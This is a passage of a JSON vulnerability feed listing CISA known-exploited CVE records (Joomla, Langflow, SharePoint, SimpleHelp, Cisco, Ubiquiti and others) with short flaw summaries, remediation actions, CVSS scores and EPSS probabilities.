guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-48908","asOf":"2026-10-08T04:52:00.233Z"},"epss":{"probability":0.88512,"percentile":0.9977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48908&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-48908","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-48908 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48908&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48908, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Joomla","url":"https://cveawg.mitre.org/api/cve/CVE-2026-48908","type":"primary","publishedAt":"2026-06-20T11:57:00.501Z","checkedAt":"2026-10-26T17:51:09.522Z","supports":"The published CVE-2026-48908 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:51:09.522Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55255","cveId":"CVE-2026-55255","aliases":[],"kind":"vulnerability","title":"Langflow Authorization Bypass Through User-Controlled Key Vulnerability","summary":"Langflow contains an authorization bypass through user-controlled key vulnerability which allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.","detail":"CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-07","updatedAt":null,"regions":["Global"],"vendor":"Langflow","product":"Langflow","stacks":["LangChain and Langflow","Langflow"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-07","dueAt":"2026-07-10","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-55255","asOf":"2026-07-07T22:14:22.487Z"},"epss":{"probability":0.00887,"percentile":0.59018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55255&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-55255","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-55255 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55255&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55255, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA GitHub_M","url":"https://cveawg.mitre.org/api/cve/CVE-2026-55255","type":"primary","publishedAt":"2026-06-23T16:28:20.985Z","checkedAt":"2026-10-26T17:51:09.522Z","supports":"The published CVE-2026-55255 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:51:09.522Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56290","cveId":"CVE-2026-56290","aliases":[],"kind":"vulnerability","title":"Joomlack Page Builder Improper Access Control Vulnerability","summary":"Joomlack Page Builder contains an improper access control vulnerability that could allow for remote code execution via unauthenticated arbitrary file upload.","detail":"CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-07","updatedAt":null,"regions":["Global"],"vendor":"Joomlack","product":"Page Builder","stacks":["Joomlack","Page Builder"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-07","dueAt":"2026-07-10","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-56290","asOf":"2026-10-08T04:47:28.097Z"},"epss":{"probability":0.30866,"percentile":0.98238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56290&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-56290","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-56290 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56290&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56290, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Joomla","url":"https://cveawg.mitre.org/api/cve/CVE-2026-56290","type":"primary","publishedAt":"2026-06-29T14:31:37.952Z","checkedAt":"2026-10-26T17:51:09.522Z","supports":"The published CVE-2026-56290 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:51:09.522Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45659","cveId":"CVE-2026-45659","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Server Deserialization of Untrusted Data Vulnerability","summary":"Microsoft SharePoint Server contains a deserialization of untrusted data vulnerability which allows an authorized attacker to execute code over a network.","detail":"CISA added this entry on 2026-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-01","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint Server","stacks":["Microsoft SharePoint","Microsoft","SharePoint Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-01","dueAt":"2026-07-04","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-45659","asOf":"2026-08-10T15:13:49.347Z"},"epss":{"probability":0.80242,"percentile":0.99615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-45659","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-45659 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45659, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-45659","type":"primary","publishedAt":"2026-05-22T22:04:33.517Z","checkedAt":"2026-10-26T17:51:09.522Z","supports":"The published CVE-2026-45659 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:51:09.522Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48558","cveId":"CVE-2026-48558","aliases":[],"kind":"vulnerability","title":"SimpleHelp Authentication Bypass Vulnerability","summary":"SimpleHelp contains an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature. In a vulnerable configuration, a remote, unauthenticated attacker can submit a forged token containing arbitrary identity claims to obtain a fully authenticated technician session. In some configurations, this may also allow bypass of multi-factor authentication.","detail":"CISA added this entry on 2026-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-29","updatedAt":null,"regions":["Global"],"vendor":"SimpleHelp","product":"SimpleHelp","stacks":["SimpleHelp"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-29","dueAt":"2026-07-02","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-48558","asOf":"2026-07-14T21:33:11.205Z"},"epss":{"probability":0.77659,"percentile":0.9956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48558&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-48558","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-48558 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48558&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48558, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA VulnCheck","url":"https://cveawg.mitre.org/api/cve/CVE-2026-48558","type":"primary","publishedAt":"2026-06-12T17:07:05.453Z","checkedAt":"2026-10-26T17:51:09.522Z","supports":"The published CVE-2026-48558 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:51:09.522Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12569","cveId":"CVE-2026-12569","aliases":[],"kind":"vulnerability","title":"PTC Windchill and FlexPLM Improper Input Validation Vulnerability","summary":"PTC Windchill and FlexPLM contains an improper input validation vulnerability allowing an unauthenticated, remote attacker to execute arbitrary code by sending a malicious request to the network.","detail":"CISA added this entry on 2026-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-25","updatedAt":null,"regions":["Global"],"vendor":"PTC","product":"Windchill and FlexPLM","stacks":["PTC","Windchill and FlexPLM"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-25","dueAt":"2026-06-28","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/AU:Y/R:U/V:C/U:Red","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-12569","asOf":"2026-06-18T00:11:35.241Z"},"epss":{"probability":0.46049,"percentile":0.988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-12569&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-12569","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-12569 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-12569&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-12569, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA PTC","url":"https://cveawg.mitre.org/api/cve/CVE-2026-12569","type":"primary","publishedAt":"2026-06-18T00:11:35.241Z","checkedAt":"2026-10-26T17:51:09.522Z","supports":"The published CVE-2026-12569 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:51:09.522Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20230","cveId":"CVE-2026-20230","aliases":[],"kind":"vulnerability","title":"Cisco Unified Communications Manager Server-Side Request Forgery (SSRF) Vulnerability","summary":"Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) contain a server-side request forgery (SSRF) Vulnerability that could allow an unauthenticated, remote attacker to write files to the underlying operating system that could be used later to elevate to root.","detail":"CISA added this entry on 2026-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Unified Communications Manager","stacks":["Cisco","Unified Communications Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-25","dueAt":"2026-06-28","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-20230","asOf":"2026-07-01T16:28:16.838Z"},"epss":{"probability":0.882,"percentile":0.99765,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20230&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20230","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20230 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20230&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20230, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-20230","type":"primary","publishedAt":"2026-06-03T16:09:45.961Z","checkedAt":"2026-10-26T18:05:57.150Z","supports":"The published CVE-2026-20230 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:05:57.150Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-67038","cveId":"CVE-2025-67038","aliases":[],"kind":"vulnerability","title":"Lantronix EDS5000 Code Injection Vulnerability","summary":"Lantronix EDS5000 contains a code injection vulnerability that could allow attackers to inject arbitrary OS commands into the username parameter. Injected commands are executed with root privileges.","detail":"CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-23","updatedAt":null,"regions":["Global"],"vendor":"Lantronix","product":"EDS5000","stacks":["Lantronix","EDS5000"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-23","dueAt":"2026-06-26","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-67038","asOf":"2026-09-04T20:30:00.766Z"},"epss":{"probability":0.20286,"percentile":0.97454,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-67038&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-67038","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-67038 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-67038&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-67038, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA icscert","url":"https://cveawg.mitre.org/api/cve/CVE-2025-67038","type":"primary","publishedAt":"2026-03-11T00:00:00.000Z","checkedAt":"2026-10-26T18:05:57.150Z","supports":"The published CVE-2025-67038 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:05:57.150Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34908","cveId":"CVE-2026-34908","aliases":[],"kind":"vulnerability","title":"Ubiquiti UniFi OS Improper Access Control Vulnerability","summary":"Ubiquiti UniFi OS contains an improper access control vulnerability which could allow a malicious actor with access to the network to make unauthorized changes to the system.","detail":"CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-23","updatedAt":null,"regions":["Global"],"vendor":"Ubiquiti","product":"UniFi OS","stacks":["Ubiquiti","UniFi OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-23","dueAt":"2026-06-26","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-34908","asOf":"2026-05-22T00:43:49.077Z"},"epss":{"probability":0.88293,"percentile":0.99768,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34908&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-34908","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-34908 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34908&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34908, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA hackerone","url":"https://cveawg.mitre.org/api/cve/CVE-2026-34908","type":"primary","publishedAt":"2026-05-22T00:43:49.077Z","checkedAt":"2026-10-26T18:05:57.150Z","supports":"The published CVE-2026-34908 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:05:57.150Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34909","cveId":"CVE-2026-34909","aliases":[],"kind":"vulnerability","title":"Ubiquiti UniFi OS Path Traversal Vulnerability","summary":"Ubiquiti UniFi OS contains a path traversal vulnerability which could allow a malicious actor with access to the network to access files on the underlying system that could be manipulated to access an underlying account.","detail":"CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-23","updatedAt":null,"regions":["Global"],"vendor":"Ubiquiti","product":"UniFi OS","stacks":["Ubiquiti","UniFi OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-23","dueAt":"2026-06-26","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 